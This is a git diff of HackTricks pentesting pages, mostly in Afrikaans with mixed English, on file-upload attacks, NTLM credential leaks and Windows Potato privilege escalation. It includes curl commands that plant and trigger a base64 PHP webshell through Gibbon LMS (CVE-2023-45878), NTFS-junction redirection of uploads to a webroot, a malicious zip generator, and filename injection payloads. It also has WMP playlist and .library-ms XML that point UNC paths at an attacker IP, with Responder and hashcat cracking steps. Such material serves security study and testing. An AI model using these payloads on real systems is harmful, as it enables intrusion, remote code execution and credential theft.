belangrik om die slap aard van uWSGI se konfigurasielêer-parsing te verstaan. Spesifiek kan die bespreekte payload in 'n binêre lêer ingesit word (soos 'n image of PDF), wat die potensiële eksploitasie verder uitbrei. +Dit is belangrik om die losse aard van uWSGI se konfigurasielêer-parsing te verstaan. Spesifiek kan die genoemde payload in 'n binaire lêer (soos 'n beeld of PDF) ingevoeg word, wat die omvang van moontlike eksploitasierscenario's verder vergroot. ### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878) -Ongeauthentiseerde endpoint in Gibbon LMS laat arbitrary file write binne die web root toe, wat lei tot pre-auth RCE deur 'n PHP-lêer te plaas. Kwesbare weergawes: tot en met 25.0.01. +Ongeauthentiseerde endpoint in Gibbon LMS laat arbitrary file write binne die web root toe, wat lei tot pre-auth RCE deur 'n PHP-lêer neer te sit. Kwetsbare weergawes: tot en met 25.0.01. - Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php` - Method: POST - Required params: -- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignoreer type/naam, decodeer die staart met base64) -- `path`: bestemmingslêernaam relatief tot Gibbon install dir (e.g., `poc.php` or `0xdf.php`) -- `gibbonPersonID`: enige nie-leë waarde word aanvaar (e.g., `0000000001`) +- `img`: data-URI-like string: `[mime];[name],[base64]` (server ignoreer tipe/naam, base64-dekodeer die staart) +- `path`: destination filename relative to Gibbon install dir (e.g., `poc.php` or `0xdf.php`) +- `gibbonPersonID`: enige nie-leë waarde word aanvaar (bv. `0000000001`) Minimal PoC to write and read back a file: ```bash @@ -185,7 +184,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ # Verify write curl http://target/Gibbon-LMS/poc.php ``` -Drop 'n minimale webshell en voer opdragte uit: +Plaas 'n minimale webshell en voer opdragte uit: ```bash # '' base64 # PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg== @@ -196,15 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \ curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami' ``` Aantekeninge: -- Die handler voer `base64_decode($_POST["img"])` uit nadat dit gesplit is by `;` en `,`, en skryf dan bytes na `$absolutePath . '/' . $_POST['path']` sonder om extensie/tipe te valideer. -- Die resulterende kode hardloop as die webdienstgebruiker (bv. XAMPP Apache op Windows). +- Die handler voer `base64_decode($_POST["img"])` uit nadat dit deur `;` en `,` gesplit is, en skryf dan bytes na `$absolutePath . '/' . $_POST['path']` sonder om die uitbreiding/tipe te valideer. +- Die resulterende kode loop as die webdiens-gebruiker (bv. XAMPP Apache op Windows). Verwysings vir hierdie fout sluit die usd HeroLab advisory en die NVD entry in. Sien die Verwysings-afdeling hieronder. ## **wget File Upload/SSRF Trick** -In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **download files** en jy kan die **URL** aandui. In sulke gevalle mag die kode nagaan dat die uitbreiding van die afgelaaide lêers binne 'n whitelist is om te verseker dat slegs toegelate lêers afgelaai gaan word. Hierdie kontrole kan egter **omseil** word.\ -Die **maksimum** lengte van 'n **filename** in **linux** is **255**, maar **wget** kap die filenames af tot **236** karakters. Jy kan **download** 'n lêer genaamd "A"*232+".php"+".gif", hierdie filename sal die **check** omseil (soos in hierdie voorbeeld is **".gif"** 'n **geldige** extensie) maar `wget` sal die lêer **hernoem** na **"A"*232+".php"**. +Op sommige geleenthede mag jy vind dat 'n bediener **`wget`** gebruik om **lêers af te laai** en jy kan die **URL** aandui. In sulke gevalle kan die kode nagaan dat die uitbreiding van die afgelaaide lêers binne 'n whitelist is om te verseker dat slegs toegelate lêers afgelaai word. **Hierdie kontrole kan omseil word.**\ +Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, maar **wget** verkort die lêernaam tot **236** karakters. Jy kan **'n lêer aflaai genaamd "A"*232+".php"+".gif"**, hierdie lêernaam sal die **kontrole** omseil (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer **hernoem** na **"A"*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -227,22 +226,47 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. +Let daarop dat **'n ander opsie** waaraan jy dalk dink om hierdie kontrole te omseil, is om die **HTTP server redirect to a different file**, sodat die aanvanklike URL die kontrole omseil en wget dan die herlei-lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tensy** wget met die **parameter** `--trust-server-names` gebruik word, omdat **wget die herlei-blad met die naam van die lêer soos aangedui in die oorspronklike URL sal aflaai**. + +### Ontsnap upload directory via NTFS junctions (Windows) + +(Vir hierdie aanval sal jy plaaslike toegang tot die Windows-masjien benodig) Wanneer uploads gestoor word in per-user subfolders op Windows (e.g., C:\Windows\Tasks\Uploads\\) en jy beheer die skep/verwydering van daardie subfolder, kan jy dit vervang met 'n directory junction wat na 'n sensitiewe ligging wys (e.g., die webroot). Gevolglike uploads sal in die target path geskryf word, wat code execution moontlik maak indien die target server‑side code interpreteer. + +Voorbeeldvloei om uploads na die XAMPP webroot te herlei: +```cmd +:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields) +:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 + +:: 2) Remove the created folder and create a junction to webroot +rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 +cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs + +:: 3) Re-upload your payload; it lands under C:\xampp\htdocs +:: Minimal PHP webshell for testing +:: + +:: 4) Trigger +curl "http://TARGET/shell.php?cmd=whoami" +``` +Aantekeninge +- mklink /J creates an NTFS directory junction (reparse point). Die web server’s account moet die junction volg en skryfregte in die bestemming hê. +- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE. +- Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs. ## Gereedskap -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige tool ontwerp om Pentesters en Bug Hunters te help met die toetsing van file upload mechanisms. Dit maak gebruik van verskeie bug bounty techniques om die proses om vulnerabilities te identifiseer en te exploit te vereenvoudig, wat deeglike assessments van web applications verseker. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. -### Korrompering van upload-indekse met snprintf quirks (historiese) +### Indeks-korrupsie van upload met snprintf quirks (histories) -Sommige legacy upload handlers wat `snprintf()` of iets soortgelyks gebruik om multi-file arrays van 'n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkapping in die gedrag van `snprintf()`, kan 'n sorgvuldig saamgestelde enkel-upload voorkom as verskeie geïndekseerde lêers aan die serverkant, wat logika verwar wat 'n streng vorm aanvaar (bv. dit as 'n multi-file upload beskou en onveilige takke neem). Alhoewel dit vandag nikaal is, kom hierdie “index corruption” patroon af en toe weer voor in CTFs en ouer codebases. +Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. -## Van File upload na ander vulnerabilities +## From File upload to other vulnerabilities -- Stel **filename** op `../../../tmp/lol.png` en probeer 'n **path traversal** bereik -- Stel **filename** op `sleep(10)-- -.jpg` en jy mag 'n **SQL injection** kan bereik -- Stel **filename** op `` om 'n **XSS** te bereik -- Stel **filename** op `; sleep 10;` om command injection te toets (meer [command injections tricks here](../command-injection.md)) +- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** +- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection** +- Set **filename** to `` to achieve a XSS +- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md)) - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) @@ -251,9 +275,9 @@ Sommige legacy upload handlers wat `snprintf()` of iets soortgelyks gebruik om m - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy verduidelik hoe om **PDF data te inject om JS uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan upload, kan jy 'n PDF voorberei wat arbitraire JS sal uitvoer volgens die gegewe instruksies. -- Upload die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud om te kyk of die server enige **antivirus** het -- Kyk of daar enige **size limit** is wanneer jy files upload +- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. +- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** +- Check if there is any **size limit** uploading files Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): @@ -275,20 +299,20 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here]( https://github.com/portswigger/upload-scanner {{#endref}} -## Magic Header Bytes +## Magiese Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. +Raadpleeg [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander lêertipes. -## Zip/Tar Lêer Outomaties gedekomprimeer by Upload +## Zip/Tar-lêer wat outomaties by upload gedekomprimeer word -As jy 'n ZIP kan upload wat binne die server gedekomprimeer gaan word, kan jy twee dinge doen: +If you can upload a ZIP that is going to decompressed inside the server, you can do 2 things: ### Symlink -Upload 'n link wat soft links na ander files bevat, dan, deur toegang tot die gedekomprimeerde lêers, sal jy toegang hê tot die gelinkte lêers: +Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt @@ -296,18 +320,18 @@ tar -cvf test.tar symindex.txt ``` ### Ontpak in verskillende gidse -Die onverwagte skepping van lêers in gidse tydens ontpak is 'n ernstige probleem. Ten spyte van aanvanklike veronderstellings dat hierdie opstelling dalk teen OS-level command execution deur malicious file uploads sal beskerm, kan die hiërargiese kompressieondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit laat aanvallers toe om beperkings te omseil en uit veilige upload directories te ontsnap deur die ontpakkingsfunksionaliteit van die geteikende toepassing te manipuleer. +Die onvoorsiene skepping van lêers in gidse tydens ontpakking is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling moontlik teen OS-level command execution deur malicious file uploads sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP-argiefformaat misbruik word. Dit laat attackers toe om beperkings te bypass en veilige upload directories te ontsnap deur die ontpakkingsfunksionaliteit van die geteikende toepassing te manipuleer. -'n Outomatiese exploit om sulke lêers te vervaardig is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word: +'n Outomatiese exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Verder is die **symlink trick with evilarc** ook 'n opsie. As die doel is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute ervaar tydens sy werking nie. +Boonop is die **symlink trick with evilarc** 'n opsie. As die doel is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute ondervind tydens sy werking nie. -Below is an example of Python code used to create a malicious zip file: +Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep: ```python #!/usr/bin/python import zipfile @@ -326,11 +350,11 @@ zip.close() create_zip() ``` -**Misbruik van kompressie vir file spraying** +**Misbruik van compression vir file spraying** -Vir meer besonderhede **kyk na die oorspronklike pos op**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Vir meer besonderhede **kyk na die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP-code word geskryf om opdragte uit te voer wat deur die `$_REQUEST`-veranderlike deurgegee word. +1. **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST`-veranderlike deurgegee word. ```php ``` -2. **File Spraying and Compressed File Creation**: Verskeie lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat. +2. **File Spraying and Compressed File Creation**: Meerdere lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n hex-editor aangepas, deur "xxA" na "../" te verander om deur gidse te navigeer. +3. **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n hex-editor verander, deur "xxA" na "../" te verander om gidse te navigeer. ```bash :set modifiable @@ -357,7 +381,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Laai hierdie inhoud op met 'n beeld-lêeruitbreiding om die kwetsbaarheid te misbruik **(ImageMagick , 7.0.1-1)** (van die [exploit](https://www.exploit-db.com/exploits/39767)) +Laai hierdie inhoud met 'n beeld-uitbreiding op om die kwetsbaarheid uit te buit **(ImageMagick , 7.0.1-1)** (from the [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -366,31 +390,31 @@ pop graphic-context ``` ## Insluiting van PHP Shell in PNG -Om 'n PHP shell in die IDAT chunk van 'n PNG-lêer in te sluit kan sekere beeldverwerkingsoperasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir die resizing en resampling van beelde, onderskeidelik. Die vermoë van die ingeslote PHP shell om onaangeraak te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle. +Insluiting van 'n PHP shell in die IDAT-chunk van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir respektiewelik die herskaal en hermonster van beelde. Die vermoë van die ingeslote PHP shell om deur hierdie operasies onaangeraak te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle. -'N Gedetailleerde ondersoek van hierdie tegniek, insluitende die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie bron bied 'n omvattende begrip van die proses en sy implikasies. +'N gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en die implikasies daarvan. More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot Files +## Polyglot-lêers -Polyglot files dien as 'n unieke hulpmiddel in kuberveiligheid, optreeend as kameleons wat geldig in meerdere lêerformate terselfdertyd kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook uitvoerbaar. +Polyglot-lêers dien as 'n unieke hulpmiddel in kubersekuriteit, en tree op soos kameleonte wat geldig in meerdere lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar. -Die kernnut van polyglot files lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe ondersoek. Algemene praktyk in verskeie toepassings behels dat slegs sekere lêertipes vir upload toegelaat word—soos JPEG, GIF of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP of Phar-lêers) geskep word, te verminder. 'n Polyglot, deur aan die strukturele vereistes van meerdere lêertipes te voldoen, kan egter stilweg hierdie beperkings omseil. +Die kernnut van polyglot-lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe sifts. Algemene praktyk in verskeie toepassings behels dat slegs sekere lêertipes vir oplaai toegelaat word—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) veroorsaak word, te verminder. 'n Polyglot kan egter, deur aan die strukturele kriteria van meerdere lêertipes te voldoen, hierdie beperkings stilweg omseil. -Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdetyd 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die bloot strukturele dualiteit van 'n polyglot nie voldoende wees om 'n upload te waarborg nie. +Ten spyte van hul aanpasbaarheid, ervaar polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdertyd 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van die oplaai afhang van die platform se beleid rakende file extensions. As die stelsel streng is oor toegelate extensies, mag die bloot strukturele dualiteit van 'n polyglot nie voldoende wees om die oplaai te waarborg nie. More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Laai geldige JSONs op asof dit 'n PDF was +### Laai geldige JSON-lêers op asof dit PDF's is -Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai al word dit nie toegelaat nie deur 'n vals PDF-lêer voor te gee (tegnieke uit **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Hoe om lêertipe-detektering te omseil deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n PDF-lêer na te boots (tegnieke vanaf **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (sien voorbeeld in die pos) -- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON by sodat die library dink dit is 'n PDF (sien voorbeeld in die pos) -- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n json kan parse nie, en plaas dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF +- **`mmmagic` biblioteek**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld in die artikel) +- **`pdflib` biblioteek**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON by sodat die biblioteek dink dit is 'n PDF (kry voorbeeld in die artikel) +- **`file` binêr**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n json kan ontleed nie en sit dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF -## Verwysings +## References - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) @@ -406,5 +430,7 @@ Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai al w - [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) - [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) - [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) +- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index 037f87f81..92feef6d2 100644 --- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -1,7 +1,66 @@ -# Plekke om NTLM kredensiale te steel +# Plekke om NTLM creds te steel {{#include ../../banners/hacktricks-training.md}} -**Kyk al die wonderlike idees van [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) van die aflaai van 'n microsoft word-lêer aanlyn na die ntlm lekbronne: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md en [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)** +**Kyk na al die goeie idees van [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) van die aflaai van 'n Microsoft Word-lêer aanlyn tot die ntlm leaks-bron: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md en [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)** + + +### Windows Media Player afspeellyste (.ASX/.WAX) + +As jy 'n target kan kry om 'n Windows Media Player afspeellys wat jy beheer te open of te voorskou, kan jy Net‑NTLMv2 leak deur die item na 'n UNC-pad te wys. WMP sal probeer om die genoemde media oor SMB op te haal en sal implisiet outentiseer. + +Voorbeeld payload: +```xml + +Leak + + + + + +``` +Versamel- en kraakproses: +```bash +# Capture the authentication +sudo Responder -I + +# Crack the captured NetNTLMv2 +hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt +``` +### ZIP-ingesluit .library-ms NTLM leak (CVE-2025-24071/24055) + +Windows Explorer hanteer .library-ms-lêers onveilig wanneer hulle direk binne 'n ZIP-argief geopen word. As die library-definisie na 'n afgeleë UNC-pad wys (bv. \\attacker\share), veroorsaak bloot die blaai/launch van die .library-ms binne die ZIP dat Explorer die UNC ontleed en NTLM authentication aan die attacker uitstuur. Dit lewer 'n NetNTLMv2 wat offline gekraak kan word of moontlik gerelaye kan word. + +Minimal .library-ms pointing to an attacker UNC +```xml + + +6 +Company Documents +false +shell32.dll,-235 + +{7d49d726-3c21-4f05-99aa-fdc2c9474656} + + + + +\\10.10.14.2\share + + + + +``` +Operasionele stappe +- Skep die .library-ms-lêer met die XML hierbo (stel jou IP/hostname). +- Zip dit (on Windows: Send to → Compressed (zipped) folder) en lewer die ZIP aan die teiken. +- Voer 'n NTLM capture listener uit en wag dat die slagoffer die .library-ms van binne die ZIP oopmaak. + + +## References +- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) +- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 4e0a3bfbe..c977db4f5 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato doesn't work** op Windows Server 2019 en Windows 10 build 1809 en later nie. egter, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** kan gebruik word om dieselfde voorregte te benut en `NT AUTHORITY\SYSTEM` vlak toegang te verkry. Hierdie [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) gaan uitgebreid in op die `PrintSpoofer` tool, wat gebruik kan word om impersonasie-privileges op Windows 10 en Server 2019 gasheerrekenaars te misbruik waar JuicyPotato nie meer werk nie. +> **JuicyPotato werk nie op Windows Server 2019 en Windows 10 build 1809 en later nie.** However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works. > [!TIP] -> 'n Moderne alternatief wat gereeld in 2024–2025 onderhou word is SigmaPotato (a fork of GodPotato) wat in-memory/.NET reflection usage en uitgebreide OS-ondersteuning byvoeg. Sien vinnige gebruik hieronder en die repo in Verwysings. +> 'n Moderne alternatief wat gereeld in 2024–2025 onderhou word, is SigmaPotato (a fork of GodPotato) wat in-memory/.NET reflection gebruik en uitgebreide OS-ondersteuning toevoeg. Sien vinnige gebruik hieronder en die repo in References. Related pages for background and manual techniques: @@ -22,23 +22,24 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## Requirements and common gotchas +## Vereistes en algemene valstrikke -Al die volgende tegnieke berus op die misbruik van 'n impersonation-capable geprivilegieerde diens vanuit 'n konteks wat een van hierdie privilegies het: +Al die volgende tegnieke berus op die misbruik van 'n impersonasie-bevoegde bevoorregte diens vanuit 'n konteks wat een van die volgende voorregte het: -- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege -- Hoë integriteit is nie nodig nie as die token reeds SeImpersonatePrivilege 